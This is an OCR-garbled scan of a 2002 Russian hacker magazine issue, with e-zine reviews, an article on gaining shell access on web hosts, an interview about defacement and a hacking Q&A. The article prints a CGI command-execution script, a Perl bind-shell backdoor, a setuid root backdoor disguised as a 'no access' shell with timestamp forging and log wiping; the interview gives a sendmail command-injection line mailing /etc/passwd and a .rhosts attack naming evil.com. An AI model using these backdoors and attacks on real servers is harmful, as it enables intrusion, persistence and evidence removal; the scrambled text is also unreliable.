хватки времени вышли в х25). 



шантРАи. 



. 



Стафф: зеШіогп, І_огсІ МаТгіх, параішесі 
Официальная страница: 

МНр://аІіеп.аІІМаск.сот 

Количество выпусков: 3 



Алиен индастриз... Я с удовольствием перечи- 
тываю выпуски этого езина. Многие статьи ак- 
туальны до сих пор. В основном освещаются 
темы хакинга и программирования. Тут и х25, 
и различные ипіх Ігіскз, и ѵігтакегз опыты, и 
бодяги с протоколами, и прикольные логи. Ра- 
дует и объем статей, в общем - тизі геасі, 
тизі зее, тизі баѵе. 



Ньюсы 



Террцм РС_2опе 



Взлом 



Юниксоид 
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Р.З. На данный момент официальная страница 
не работает. Все 3 выпуска можно скачать 
здесь: 

ИПр://ѵѵѵѵѵѵ.х25из.пеІ/х25/ІМРО/пТ_001 .гір 
ЬНр://ѵѵѵѵѵѵ.х25из. пеІ/х25/ІМРО/пМ)02 .гір 
ИИр ://ѵѵѵѵѵѵ.х25из . пеІ/х25/І N РО/пТЗ . гір 



■* т ѣМ 1 





(іззие #4-9,15 тЬ). Набирается он (вес) за счет 
приложенных к журналу всевозможных утилит: 
плагины, черви, вирусы и прочее ѵх/ добро. В 
общем, если ты увлекаешься вирусами, этот е- 
ііпе - для тебя. 



Официальная страница: М1р://ѵѵѵѵѵѵ.2600.огд 
Дата первого выпуска: 1984 
Количество выпусков: ~70 



Самый популярный зесигііу е-гіпе в 
Іпіегпеі 



х.25 помогает юным талантам :) 



РНВАСК 



Стафф: посмотрите на сайте ;) 
Официальная страница: 

Шр : //ѵѵѵѵѵѵ. рН гаек, огд 

Дата первого выпуска: 17-1 1-1985 (!!!) 

Количество выпусков: 59 



Зеркала: Шр://оѵѵпес1.ИоІіа.ги, 
рИгаск.еІпеІ.ги 

Дата первого выпуска: 1998 
Количество выпусков: 4 



Фрак - это легендарный оплот сетевой контркуль- 
туры. Достаточно взглянуть на списки авторов, пи- 
шущих для него. Первые выпуски, на мой взгляд, 
были не супер, и являлись, по большей части, 
опытами в области рИгеак/х25 ресерча. Но и там 
успели отметиться такие люди и команды, как 
І_едіоп оі ІПе Ооот и Мазіегз оі Оесерііоп. Навер- 
няка, многие сейчас даже не знают, кто это такие. 
Скажу просто, что Мепіог был из І_осІ, а Эрик 
ВІообАхе из Моб. 

Чем интересен этот журнал? Да тем, что большин- 
ство технологий, широко используемых в нынеш- 
ней зесигііу индастри, были впервые подробно 
описаны именно здесь. Достаточно вспомнить 
АІерПаІ и Реобог'а с их "ЗтазЫпд Зіаск Іог Рип 
апб РгоТіІ" и "Абѵапсеб Роб Зсаппіпд" соответст- 
венно. Среди тех, кто засветился в авторах фрака 
- зсиі, іір, гоиіе, ПаІШе, Иогугоп, гііѵіо, Ісаіиті, 
багкзругіі и многие, многие другие. Я сознатель- 
но пропускаю большую часть имен - очень долго 
перечислять. Кстати, можешь гордиться, если, 
прочитав журнал, ты все понял - это удается да- 
леко не многим :). 



Самое стебное произведение, которое я читал 
за последние пол года :). Жестокий стеб над 
представителями пеіѵѵогк зесигііу зеепе. В по- 
следнем номере, например, содержалась пере- 
писка К2 с людьми из Мііге.огд, с руководите- 
лем проекта НопеуМеІ Лемминг'ом, с соратника- 
ми из АОМ и ѵѵООѵѵОО и прочими. Все это обыг- 
рывается в меру смешными комментариями. 
Последний выпуск вышел под лозунгом "КіІІ ІПе 
ѴѴПіІеІіаІз!" и содержит массу прикольных текс- 
тов, логов и прочей инфы. Кстати, ~еІ8 разборки 
получили продолжение - о том, во что это выли- 
лось, можно прочитать на оѵѵпеб.іюііа.ги или на 
рбгаск.еіпеі.ги. Особенно интересно будет тем, 
для кого нижеприведенные названия - не пустой 
звук: Іезо, ѵѵООѵѵОО, Іоѵѵ ІеѵѵеІ, ізіі, апіі. зесигііу. із, 
НЕРТ, Ьѵіеѵѵ, Іеатхог, рИгаск, баск.со.іа и СОВІ_Е8. 



Довольно известный журнал за бугром. Выходит 
в "Ііагбсоѵег" (бумажном варианте), поэтому к е- 
ііпе'ам относить его неправильно, но благодаря 
своей популярности он все-таки попал в обзор. 
Несмотря на солидный возраст журнала, мате- 
риал все-таки слабоват (с РНВАСК'ом рядом не 
стоит). Вот что содержит один из выпусков жур- 
нала: объем 58 страниц, из них 1 5 - письма чи- 
тателей, 14 статей. Статьи в основном теорети- 
ческие, хотя в некоторых есть и сорсы. Пишут о 
сетях, фрикинге, кое-что о ѵх (материал о поли- 
морфных вирусах). По ІІИІХ, к сожалению, ниче- 
го не нашел >(. 




Бумажный зесигііу журнал 



Официальная страница: ННр://29а.Мо5І.5к 
Дата первого выпуска: ипкпоѵѵп 
Количество выпусков: 6 



Егіпе с акцентом на ѵх/ сцену. Очень радует на- 
личие в каждом релизе приличного количества 
материала. Да и вес у е-гіпе'а не маленький 



Вот, в принципе, и все. Дополнительно я бы от- 
метил следующие зины: 

НапдІІр (МНр://Мапдиріеат.Ьу.ги), Ь4Ь0 и ЬОд. 
Скачать и порыться в куче других журналов мож- 
но здесь: Шр://раскеІзІогт.с]есерІі- 
соп5 . огд/тадагіпез . Иіт I . Успехов . 



Ці^ГЧ Г} 
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ХДКЕР\№47\Ноябрь\2002 




Как известно, все хостинги делятся на два типа - с предоставлением шелл-аккаунта или без 
него (третьего не дано). В этой статье мы будем разбираться со вторым вариантом, точнее - 
рассмотрим пути получения шелла на этом хостинге. 

Вообще, хостинги - вещь интересная. Шелл может оказаться весьма полезной фичей. Почему? 
Во-первых, канал. На уважающем себя хостинге канал должен быть широкий. Во-вторых, сам 
софт. Пень 166 для хостинга не пройдет =). Следовательно, можно запускать задачи 
наподобие іоііп, требующие мощного проца. И, наконец, на некоторых хостингах имеются 
реверсивные виртуалхосты (которые резолвятся в обе стороны) - можно запросто поставить 
баунсер с отличными хостами, да еще и затрейдить доступ к нему. 



Взлом 






$НЕЫ_ НА ХАЛЯВУ 



\ Докучаев Дмитрий ака РогЬ (й)гЬ@гиНозі.ги) 



СОЗДАЕМ ШЕЛЛ НА 



ЗНЕЦ 
НАХА/ІЯВУ 

^Тивых ХОСТИНГАХ 




ЗНЕИ ЧЕРЕЗ ССІ 

Слюнки потекли? Ладно, не буду терроризиро- 
вать. Приступим к делу, то бишь к получению 
заветного зііеіі -аккаунта. Если есть доступ к Йр и 
право на выполнение сді/рИр скриптов, то шанс 
получить шелл, а в перспективе и гооізйеіі, рез- 
ко возрастает. Итак, первый способ получения 
некоего ѵѵѵѵѵѵ-зІіеІГа: заливаем на Йр хостинга 
скрипт сгткі.сді с простым как мир содержимым: 

#!/изг/Ьіп/регІ 

ргіпі "СопІепМуре: Іехі/ІйтІ\п\п"; Выводим хе- 
дер 

$стсІ=$ЕМѴ{01ІЕВУ_ЗТВІМС}; ## Команда для 
выполнения - атрибут скрипта 
$стсІ=~5/%20/ /д; ## Заменим все ипісобе про- 
бела на реальный пробел 
ргіпі "<рге>".'$стб'."<\/рге>"; ## Выпишем 
результат команды в <рге></рге> тегах 




Результат работы стсі.сді 

Корректно заливаем скрипт (в АЗСІІ-режиме), 
ставим атрибут 755 и обращаемся: 
Ийр://ѵмѵѵ.ѵісііт.сот/~хакер/стсІ.сді?ісІ (впос- 
ледствии я буду называть ѵмѵѵ.ѵісйт.сот). Ре- 
зультатом будет, как правило, строчка следую- 
щего вида в браузере: 

иісІ=поЬосІу(31337) дісІ=поЬосІу(31337) 



УДАЛЕННЫЙ бэкдор 

Но, конечно, бродить по дирам, взламывать 
сервер еіс не интерактивным путем - сложно и 
неудобно, поэтому лучше воспользоваться 



скриптами, которые способны открыть порт на 
сервере (некий Ьаскбоог) с интерактивным 
шеллом. Используя РегІ для этой корыстной 
цели, пишем обычный бэкдор (код старый, но 
до сих пор актуальный): 

#!/изг/Ьіп/регІ 

$5НЕІ_І_=7Ьіп/Ьа5Іі -і"; ## Будем использовать 
интерактивный Ьазіі в качестве шелла 
$и5ТЕІ\ІРОВТ-'3 1337 м ; ## Выбираем порт 
31337 для бэкдора 

изе Зоскеі; ## Используем модуль Зоскеі 
$рго1осоІ=деірго1оЬупате(Йср'); ### Протокол 
-ТОР 

зоскеі(3 , &РР_І N ЕТ, &ЗОСК ЗТВЕАМ , $ргоіосоІ ) 1 1 
сііе "Сапі сгеаіе зоскеДп"; ### Пытаемся со- 
здать сокет-дескриптор либо завершаем 
скрипт с сообщением об ошибке. 
зеІ50скор1(3,301_80СКЕТ,30 ВЕ113ЕА00В, 1 ); 
## Заставляем сокет поддерживать ВЕІІЗЕ - 
возможность многоразового использования 
порта 
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( 5 , зоскасісі г_і п ( $ И ЗТЕМ_РО РТ, I МАО О Р_АИУ ) ) || 
сііе "Сапі ореп рогДп"; ## Биндим порт на все 
адреса машины либо сообщаем об ошибке 
Іізіеп (3,3) || сііе "Сапі Іізіеп рогДп"; ## Ждем 
коннектов на порт 
ѵѵііііе(і) 

{ 

ассері (СОМИ.З); ## При подключении созда- 
ем дескриптор с именем ССШ 
Щ! ($рісНогк)) ## Делаем процесс потомок 
для коннекта с дескриптором ССШ 
{ 

сііе "Саппоі Іогк" і! (! бейпесі $ріб); ## В случае 
неудачи ответвления - завершаем работу 
ореп ЗТ0ІМ,"<&С(Ш"; 
ореп ЗТООІЛ,">&СОММ"; 
ореп ЗТОЕВВ,">&СОММ"; ## Перенаправляем 
ЗТБІМ, ЗТООШ и ЗТБЕВВ в клиент-терминал 
ехес $ЗНЕІ_І_ || сііе ргіпі; ССШ 
"Сапі ехесиіе $ЗНЕЩп"; ## Пы- 

шелл либо, в случае неудачи, за- 
вершаем скрипт Щ 

сіозе ССШ; ## Закрываем сокет Мар- 

после завершения работы шелла По э 

ехіі 0; ## Корректно выходим, за- реал 

вершая потомок. удоб 



можно, придется и самому писать. Правда, в ито- 
ге может что-то и получится, но эти "самостоя- 
тельные упражнения" пресекаются УК :). 



ПОДЪЕМ ИНФЫ БЕЗ РУТА 

Что, если зарутить не удается? Дело в том, что 
шелл запущен под правами арасбе. То есть, до- 
ступны ѵѵѵѵѵѵ-директории, в которых можно най- 
ти обычные скрипты. А уже в них возможно най- 
ти аккаунт, например, для базы данных тузці. 
Затем можно выполнять команды тузці прямо 
из командной строки. Например, после получе- 
ния аккаунта на базу в виде гооі : зц I раззѵѵо гсі мы 
можем просмотреть базы такой командой: 

ЬазІ>2.04$ тузці -игооі -рзціраззѵѵогсі -е 'збоѵѵ 
сіаіабазез' 



оаѵѵіминАО! 



Мар://сді-Ьіп.Мийги/стсІ.рІ 

По этой ссылке можно скачать альтернативный регі скрипт, 
реализующий сді-зМеІІ. Зачем он дается? Да просто он гораздо 
удобнее, а публиковать его сорсы - бессмысленно. 



Закачиваем данный скрипт на Йр, подрі 

а если это невозможно (дыры в че Р е: 

софте с возможностью исполнения 
команд через \І\ІШІ), то заливаем 
его с помощью программы ѵѵдеі в Дтр 
каталог. Затем выполняем командой 
регі /раНіДо/зсгірі (через стсі.сді, естественно). 
Если окно с ошибкой не открывается, а браузер 
лишь задерживает выдачу ответа, значит, все 
прошло успешно, и порт открыт. Остается лишь 
зателнетиться на ѵѵѵѵѵѵ. ѵісііш. сот :3 1337 и юзать 
интерпретатор. 



И N 1 ЫШІРЪІ Іи ІЬІа ЧАІ1І 



Конечно, бэкдоры бывают не только на Регі. По адресу 
Мар://катепвк.ІаеІ.ги/1 : огЬ/зо11;/ЬсІ.с можно скачать сишник с 
подробными комментариями. Компилить его придется, видимо, 
через шш, а затем запускать оттуда же, как обычный бинарник. 



ЬазІт-2.04$ зиісірегі -II збеіі.рі 

Зиісірегі - программа для исполнения суидных 
Регі скриптов. Получается, что права, с кото- 
рыми запустится скрипт, будут: поЬосІу (иісі) и 
хакер (еиісі). То есть зиісірегі наследует иіб, за- 
крепленный на скрипте. При условии, что 
/ЬіпДаІзе был в /еІс/зИеІІз, шелл будет сменен, 
и в итоге появится возможность ходить под 
своим логином через /Ьіп/Ьазіт. Опция -II суид- 
перла блокирует Іаіпі проверку скрипта, иначе 
скрипт ругнется на ипзесиге $ЕМѴ{РАТН}. 



ДАЛЬНЕЙШЕЕ удержание прав 

Итак, перенесемся в заветное будущее, когда 
на хостинге уже есть гооі- права. Что делать? 
Одним из хороших способов будет создание 

Іаке-збеІІ, который бы пускал в сис- 

І тему только определенного челове- 
ка. Как это осуществить? На боль- 
шинстве хостингов существует свой 
шелл-поіодіп, который пишет одну 
единственную строку, как реакцию 
на подключение - N 0 ассезз. Вос- 
пользовавшись этим, слегка подре- 
дактируем код. Допустим, в систе- 
ме есть пользователь Ір (принтер 
сервис) с уидом 4. Ему необходимо 
установить свой пароль (не стоит 
забывать чистить логи после это- 
го!), и шелл, как обычно - 
/зЬіп/поассезз. Вот его код в си-ре- 
ализации: 



Ц КІШ І!К ■ 

чр к і'-Я Ш-ШШ 
1*1 Ь'-Н 



И так далее. То есть реально отдам пить кучу 
кредиток и другой важной информации. Не 
этого ли желает большинство людей? 



УСТАНОВКА БЭКДОРА 

У непривилегированного пользо- 
вателя, наверняка, вместо шелла 
стоит что-то вроде /ЬіпДаІзе (ну, 
любят хостинги делать такие шел- 
лы юзерам). Как кто-то говорил - 
нет безвыходных ситуаций. В юни- 
хоподобных осях существует по- 
лезная команда: сітзіт. Она ПОЗВО- 



ЛЬ ІЬь.Н 

Ш ІЧчпНІ 
3-віН 4ЬМІ| 



Коннект на бэкдорный шелл 

Интерпретатор, возможно, придется поднимать 
до нормального уровня. Ведь сколько мусора в 
логах... Тогда необходимо брать права рута. Если 
это русский хостинг, то это вряд ли прокатит. На- 
ши админы, особенно на хостингах, хорошо забо- 
тятся о безопасности. А вот с буржуями все до- 
статочно просто. У них ошибок на порядок боль- 
ше. Но и писать здесь, каким способом взламы- 
вать буржуйский хостинг, я, естественно, не буду. 
Для этого надо изучать конкретный сервер, что 
на нем находится, потом ползать по разнообраз- 
ным багтракам в поисках нужного сплоита. А воз- 



ляет сменить шелл пользователю 
(если у тебя есть на это права). Но 
вот незадача - обычно апач выпол- 

няет команды под уидом арасМе 

или поЬосІу, то есть через ѴѴШ-скрипт, как и че- 
рез открытый порт, тебе шелл не сменить. Но на 
помощь приходит программа зиісірегі (она есть 
практически на всех І_іпих & ВЗБ). Быстренько 
оформив через открытый порт скриптик збеіі.рі, 
получаем код следующего содержания: 

#!/изг/Ьіп/зиісІрегІ -II 
5уз1ет("/изг/Ьіп/сІі5Іі І_ОСІІ\Г); 

где ШСІІЧ - твой логин, сделаем его суидным ко- 
мандой по ФТП: зііе сбтосі 4755 збеіі.рі (4 - ЗІІЮ, 
755 - исполнение). Затем, уже интерактивно (че- 
рез бэкдор), запустим его при помощи зиісірегі: 



іпі таіп() { 

Й (де1иісІ() == 4) { /* Если уид=4 7 

зеіиісІ(О); 

зеІдісІ(О); 

зузіетС'/Ьіп/ЬазІі"); /* Запускаем ЬазИ из-под 
рута 7 
} еізе { 

ргіпЙ("Мо ассезз\п"); /* Иначе пишем - N 0 
ассезз */ 



Как видишь - все просто. Остается лишь от - 
компилить его: дсс поассезз.с -о /зЬіп/поас- 
сезз. Затем поставить на него атрибут +з 
(для зейлсІ() нужен ЗІІЮ атрибут) и сменить 
дату обращения к файлу командой ІоисІі -I 
200101151932 /зЬіп/поассезз (время в фор- 
мате ГГММДДЧЧММ). Рекомендуется также 
скачать какой-нибудь Іодѵѵірег и интегриро- 
вать его в поассезз, иначе пребывание на 
сервере будет логироваться. 

Вот и вся инфа о поднятии гііеіі до- 
ступа на разнообразных хостинговых 
службах. Просто поднятие зНеІГа - 
дело без последствий, но если про- 
должать получать более высокие пра- 
ва, то это уже уголовно наказуемо 
(особенно при получении рут прав). 
Так что осмысливай свои действия! 




Х-Стиль НКодинг 



РоуЗЛск Н Юниты 
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Дефейс - штука непростая. Вот мы и решили обратиться к одну из опытных хакеров 
Крису Касперски - с просьбой поделиться опытом. На что он любезно согласился :). 



Т: Крис, ты когда-нибудь дефей- 
сил что-нибудь? 

К; Разумеется, но всегда с письмен- 
ного соглашения владельца ресурса в 
плане тестирования сервера (локаль- 
ной сети) на уязвимость. 

Т: А сколько дефейсов было? 

К: Наверное, где-то порядка 50-70. 

Т: Опиши, какие сайты ты де- 
фейсил. 

К: Я бы с удовольствием, но мои кли- 
енты особо тщательно оговаривают 
пункт о неразглашении. Кому же, 
действительно, будет приятно, если 
начнут говорить о его дырках? 

Т: А самый запомнившийся де- 
фейс? 

К: На одном весьма крупном ресур- 
се оказалась совершенно глупая 
дыра - этот платный сайт был про- 
индексирован поисковиком Тугол". 
И вместо того, чтобы платить свои 
кровные, можно было читать все 
документы, сохраненные в гугло- 
вом кэше. И самое интересное, что 
в его кэше оказалась ссылка к "се- 



кретной страничке, предназначен- 
ной для администрирования сайта 
(и редактирования в том числе). 

Пароля не требовалось - ссылка 
сама была "паролем". На это, во 
всяком случае, надеялись его раз- 
работчики. 

Другой случай: однажды на спор 
сподобили меня подломать сервер напо- 
добие ѵѵѵѵѵѵ.паза.доѵ. Ну, какие проблемы? ;) 
Спускаем на товарищей (не паза, естественно, 
а на тех, кто со мной спорил) лавину ложных 
ОИ8 пакетов, в которых якобы содержится ад- 
рес Ийр://ѵѵѵѵѵѵ.па5а.доѵ, а на самом деле - 
Ийр://ѵѵѵѵѵѵ.сІгЬІ 2 аг.сот, и когда товарищи наби 



5ТЕР ВѴ 5ТЕР 

# Соединяемся с узлом - жертвой по протоколу 5МТР через 25 
порт 

ЪеІпеЪ ѵісбт.сот 25 

# Указываем в качестве адреса получателя сообщения имя 
файла "/.гНозЬз" 

гсрЪйэ:/.гНозЪз 

# Указываем адрес отправителя сообщения 
таіі {гот: крпсОарогЪги 

# Начинаем ввод текста сообщения 
баЪа 

# Вводим произвольный текст (он будет проигнорирован) 

НеІІо! 

# Точка завершает ввод сообщения 

# Новое сообщение 

# Указываем в качестве адреса получателя имя файла 
"/.г+газЬв" 

гсрСйэ:/.гІіозЬз 

# Указываем адрес отправителя сообщения 
таіі Ігат: крпШарогЪт 

# Начинаем ввод текста сообщения 
баЪа 

# Вводим имя собственного хоста или любого другого хоста, к 
которому есть доступ 

еѵіі.сот 

# Точка завершает ввод сообщения 



# Завершение операции и выход 
циіС 



ли в браузере ѵѵѵѵѵѵ.паза.доѵ, они попали на 
сайт причинного воздержания, после чего вста- 
ли натуральными лыжами и выпали в осадок. 

Т: Можешь объяснить поподробнее? :) 

К: Подробнее. Когда ты лезешь на какой-ни- 



будь сайт, твой браузер посыла- 
ет набранный адрес ОИЗ серве- 
ру, который сообщает браузеру 
ІР-адрес этого сайта (сам брау- 
зер ІР-адреса не знает). Причем, 
технически вполне возможно 
подделать ответ ОМЗ сервера и 
сообщить фальшивый ІР-адрес, 
т.е. адрес не этого, а совсем 
другого сайта. Атакуется не сам 
сайт, а непосредственно тот, кто 
на него входит. Да и то - не ата- 
куется, а просто направляется 
(незаметно для него) по другому 
пути. 

А запомнилось это мне потому, что 
товарищи, с которыми я едва ли 
не с детских лет дружил, живо на- 
стучали на меня в милицию. Ко- 
нечно, в милиции над ними только 
посмеялись, но все-таки факт - на 
дружбе с той поры наступил хак. 



Т: Где чаще всего лежит уяз- 
вимость, через которую мож- 
но поиметь сервер? 

К: Примерно 2/3 приходится на 
ошибки переполнения буфера или 
так называемый "срыв стека". 
Практически 99% всех серверных 
приложений имеют дыру подобно- 
го рода. Для поиска ошибок по 
минимуму не нужно ничего, кроме 
терпения. Можно даже не знать Си 
- достаточно методично переби- 
рать строки различной длины и 
смотреть на реакцию системы. 
Правда, для гарантированной ата- 
ки свободное владение ассемблером и умение 
держать отладчик в руках - обязательно. 

Т: Есть мнение, что знание РегІ помогает 
находить тысячи уязвимостей в разных си- 
стемах безопасности. Аты говоришь, что 
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нужно только терпение. Как так? 

К: Знание Перла (а еще лучше и Перла, и ас- 
семблера) позволяет практически гарантиро- 
ванно вторгаться если не в любую, то в подав- 
ляющее большинство систем, даже чрезвычай- 
но сильно защищенных. "Терпение" позволяет 
атаковать систему лишь при благоприятном 
(или неблагоприятном - относительно кого счи- 
тать) стечении обстоятельств. Тем не менее, 
нахождение дыр путем методичного перебора 
строк различной длины дает лучший эффект, 
нежели дизассемблирование. 

Т: Опиши технику дефейса. 

К: Универсальных приемов нет. Все зависит 
от конкретной ситуации. К тому же, приво- 
дить код, заведомо зная, для чего им вос- 
пользуются - это уже соучастие в преступле- 
нии. Так что увольте! 

Т: Можешь привести учебный при- 
мер, естественно - для сисадминов и 
сисопов? :) 

К: Почему бы и нет? Вот классический (правда, 
сейчас редко где работающий) пример. Вводим 
в поле, спрашивающее ваш е-таіі, нечто вроде 
Наск2000@таіІ.ги; таіі Наск2000@таіІ.ги 
</еіс/раз5ѵѵсІ, и, если сервер не принимает ни- 
каких мер безопасности и непосредственно пе- 
редает введенный адрес сендмайлу, мы полу- 
чим раззѵѵсі или другой файл на свой майл. 

Или другой пример. Сканируем порты жертвы 
(сойдет любой сканер), смотрим, что за ПО 
стоит там. Наугад тыкаем пальцем и попадаем, 
ну, скажем, в ЗМТР-сервер. Запускаем Іеіпеі и 
вводим адрес жертвы, указав в качестве порта 
25-порт (на нем работает ЗМТР). На экране по- 
является что-то вроде: 

220 даіе.сбШ.исІі.пеІ ЕЗМТР СШутаіІ 1.2.3; 
Зип, 26 Маг 2000 16:21 :53 +0300 (ЕЕЗТ) 

"Ага!" - говорим мы и набираем в поиско- 
вике "СШутаіІ 1.2.3+ОоѵѵпІоасГ, желая най- 
ти этот ОТІутаіІ в сети. Находим дистрибу- 
тив, к сожалению, не содержащий исходных 
текстов. Что ж! Запускам дизассемблер и 
углубляемся в анализ ассемблерного кода - 
если повезет, нам удастся найти ошибку, 
позволяющую захватить управление серве- 
ром. И такая ошибка действительно нахо- 
дится! ОТІутаіІ буферизирует свой вывод, 
но при этом размер буфера фиксирован и 
довольно невелик. Поэтому, если в ответ на 
НЕЮ ввести слишком длинную строку, то 
сервер, возвращая наше приветствие к нам 
назад, "разорвет" свой буфер и затрет сле- 
дующие за его концом данные. Остальное 
дело техники - пишем в машинных кодах 
маленькую программку, которая делает то, 
что нам нужно, и размещаем ее в строке, 
вводимой в ответ на приглашение НЕЮ, с 
таким расчетом, чтобы при срыве стека за- 
тертый адрес возврата именно на нее пере- 
дал управление. 

Все! Далее мы проталкиваем загрузчик, который 
догружает полноценную программу, например, 
мини-телнет сервер, и захватываем полный кон- 
троль над машиной. Теперь уже нетрудно будет 
найти директорию с НШІ_-страничками и, есте- 
ственно, не забыв сделать Ьаскир, модифициро- 
вать любую из них по своему вкусу. 



Администратору защититься от таких атак 
нельзя... увы, серверное ПО крайне нена- 
дежно и содержит множество ошибок, осо- 
бенно если это халявное ПО по-пате коде- 
ров. Впрочем, и в ПО именитых фирм дыр 
также предостаточно, поэтому все решает 
вопрос случая. Кто первый найдет дырку - 
атакующий или эксперт по безопасности. 

Т: Можешь объяснить, дизасм нужен 
только для анализа ПО, стоящего на 
сервере? 

К: Меня смущает слово "только". Сфера 
применения дизассемблера одним этим не 
исчерпывается. С другой стороны, для 
анализа ПО еще невероятно полезен от- 
ладчик, Нех- редактор, разные дамперы, 
компилятор Си++ для написания плагинов 
к ЮА и утилит для того же тестирования. 
Еще калькулятор, стопка бумаги и каран- 
даш... Словом, много что нужно! 

Т: Как ты ищешь баги в этом ПО? Не- 
ужели хватает просто взгляда на лис- 
тинг дизассемблера? 

К: Конечно, в вырожденных случаях иногда 
хватает и одного взгляда - достаточно по- 
искать что-то типа деіз, это функция чтения 
строки, которая не проверяет аргументов. В 
противном случае, анализ требует огром- 
ных трудозатрат и буквально тысяч часов 
времени... Я как раз специализируюсь на 
анализе программ без исходных текстов - 
хоть это и на три порядка сложнее, чем 
анализ сорцов, но последним занята толпа 
народу, а дизасм ят - буквально единицы. 
Так что тут много троп еще не протоптано. 

Т: А без дизассемблера можно обой- 
тись? 

К: В принципе - да. Вот пример классической 
атаки, основанной на "дырке" в программе 
ЗепсІМаіІ версии 5.59. Суть ее - в возможности 
указать в качестве получателя сообщения имя 
файла ".гііозіз" (листинг смотри во врезке). Ата- 
ку можно считать завершенной. Остается под- 
ключиться к удаленному узлу и делать на нем 
все, что заблагорассудится. 

Т: Опиши философию дефейса. Лучше 
большими буквами написать ХУ |/| или 
внизу "Все козлы!" вторым шрифтом? 

К: Да какая разница, что писать? Я обычно 
вывожу единственную фразу НеІІо, ЗаМог! 
Или ту фразу, которую захочет увидеть у 
себя жертва (лицо, заказавшее тестирова- 
ние сети). 

Т: А какие обычно надписи заказыва- 
ются? 

К: Обычно типа "Если Вы видите эту надпись, 
сервер взломан". Дата. Подпись. 

Один раз заказали "Администратор! От имени 
хакера, сломавшего наш сайт, сообщаю тебе, 
что ты уволен нахрен. Твой Директор". 



Т: Что бы ты в первую очередь посове- 
товал нашим читателям, продвинутым 
дефейсерам, и тем, кто на пути к этому? 

К: Устоять от соблазна совершения # 
незаконных действий :). 
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НАСК-РАО 



Задавая вопросы, конкретизируй их. Давай больше данных о системе, 

ОПИСЫВАЙ АБСОЛЮТНО ВСЕ, ЧТО ТЫ ЗНАЕШЬ О НЕЙ. ЭТП МНЕ ПОМОЖЕТ 
ОТВЕТИТЬ НН ТВОИ ВОПРОСЫ И УКАЗАТЬ ТВОИ ОШИБКИ. И НЕ СТОИТ ЗАДАВАТЬ 

вопросов вроде "Как сломать шшш-сервер?" или вообще просить у 

МЕНЯ "ХАЛЯВНОГО" ІПТЕЯПЕТ'Н. Я ВСЕ РАВНО НЕ ДАМ, Я ЖАДНЫЙ :) 



Подскажите, л 
как можно при помощи 
ТеІпеТ/ззН закачать 
файл на сервер? > 



А: Довольно часто встречаются случаи, когда на- 
до залить что-нибудь на шелл, а никакого фтп на 
сервере нет. Самый простой выход - это вос- 
пользоваться стандартным фтп клиентом (Йр) с 
самого шелла. Т.е. поднимаешь на себе фтп 
сервер, а потом с шелла подключаешься к нему 
и качаешь все, что надо. Бывает, что фтп либо 
отсутствует, либо недоступен. Тогда можно вос- 
пользоваться утилитами типа ѵѵдеі или *е*с!і. Хо- 
тя может не получиться и таким образом. На- 
пример, если доступ к 21 -ому и/или 20-ому пор- 
ту закрыт йгеѵѵаІГом. Тогда все усложняется. На- 
до будет найти те порты, которые не перекрыты 
фаерволлом, и заставить фтп сервер ожидать 
соединения на них. 



Я получил ру-^ 
та на одном компе, ло- 
ги потер, руткит поста- 
вил, создал себе акка- 
унт с рутовыми права- 
ми, а на следующий 
день его (аккаунт) уда- 
^ лили. Как они узнали? ; 



А: Если ты «потер» логи, то удивляться тут нече- 
му, любой админ, заметив, что логи куда-то ис- 
чезли, заподозрит неладное. Если же ты все-та- 
ки не «тер» логи, а просто удалил оттуда записи 
о себе - другое дело. Теперь дальше. Сейчас 
очень популярно хранить логи не на самом ком- 
пе, а на удаленном. Другими словами, есть не- 
которая машина, куда сливаются логи со всей 
сетки. Ты уверен, что в твоем случае это не так? 
Далее, не все пишется ТОЛЬКО в логи. Многие 
критические ошибки отправляются прямо на 
консоль к администратору. Поэтому, если во 
время взлома какой-нибудь процесс упал (соге 
битр), то вполне вероятно, что админ увидел 
это сообщение. Ну и, наконец, самое последнее. 
Ты создал пользователя с 0 иіб. В грамотно на- 
строенной системе ежедневно/еженедель- 
но/ежемесячно генерируется отчет. В нем, по- 
мимо всего прочего, иногда указывается, сколь- 
ко в системе пользователей с иіб=0. Плюс ко 
всему некоторые «глупые» сервисы, которые 
должны запускаться от рута, начинают ругаться, 
мол «Йііз ргоссезз із по* оѵѵпеб Ьу гооі», что 
опять же привлекает внимание. 



Я бы хотел уз- ^ 
нать, как можно из ло- 
кальной сети ІпТгапеТ 
попасть в глобальную 
^ сеть ІпТегпеТ? у 



А: Итак, доступ в Интернет из локальной сети 
может быть организован несколькими путями. 
Это может быть прокси сервер. Для них ОБЫЧ- 
НО используются порты 3128 или 8080. Или 
это может быть МАТ. ІЧАТб - Иеіѵѵогк Аббгезз 
Тгапзіаііоп баетоп. Как понятно из названия, 
ІЧАТ - это некоторый демон, транслирующий 
сетевые адреса. Проще говоря, ты посылаешь 
пакет на сервер, там он обрабатывается и от- 
сылается дальше получателю, но уже с адре- 
сом (ІР) сервера МАТ. Затем пакет возвращает- 
ся, и МАТ отправляет его тебе. Такой способ 
куда более предпочтителен, если необходимо 
дать локальной сети доступ не только к ѵѵеЬ и 
Йр, а также к ісц, зпйр, рорЗ. На сервера с ус- 
тановленным па*б очень эффективно ставить 
снифферы, так как именно через него прохо- 
дит много полезного. 



Я тут сканиро- 
вал хост, и на нем 
были открыты порты 
21,22,25,80,139,3128. 
Хотя ни ТТр(21), ни 
зт1ф(25) там точно 
нет. Как такое может 
быть? 



X 



А: Существует несколько возможных причин. 
Это может быть банальная система выявле- 
ния сканируемых портов. Т.е. админ на уда- 
ленной машине запускает прогу, которая ви- 
сит на неиспользуемых портах. Например, 
если у меня нет вэб сервера, я вешаю на 80 
порт такую программку. И как только кто-то 
подключается к моему 80-ому порту, про- 
граммка меня известит: «С такого-то адреса 
вас пытаются просканировать» :). Также воз- 
можно, что на стандартных портах висят не- 
стандартные сервисы. Ведь никто не обещал, 
что на 21 порту будет именно Йр... А что, ес- 
ли админу захотелось туда Іеіпеі повесить? 
Он на это имеет полное право! :) 



' Ситуация сле-^ 

дующая: есть ТТр сер- 
вер, с него раз в месяц 
пользователи забира- 
ют срайлики с пароля- 
ми. Т.е. раз в месяц 
там меняют пароли, и 
каждому юзеру пишет- 
ся файл: «Ваш новый 
пароль - ХХХ123АВС». 
Они его скачивают и 
пользуются. Так вот, 
как этот файлик пере- 
^ хватить? ) 



А: Ну, во-первых, если есть машина в этой ло- 
кальной сети, то сниффер - наш друг. Включаем 
сниффер, ждем месяц, смотрим лог сниффера 
и... А вот если такой машины нет... Рассмотрим, 
как происходит связь с Йр’шником. Ты подклю- 
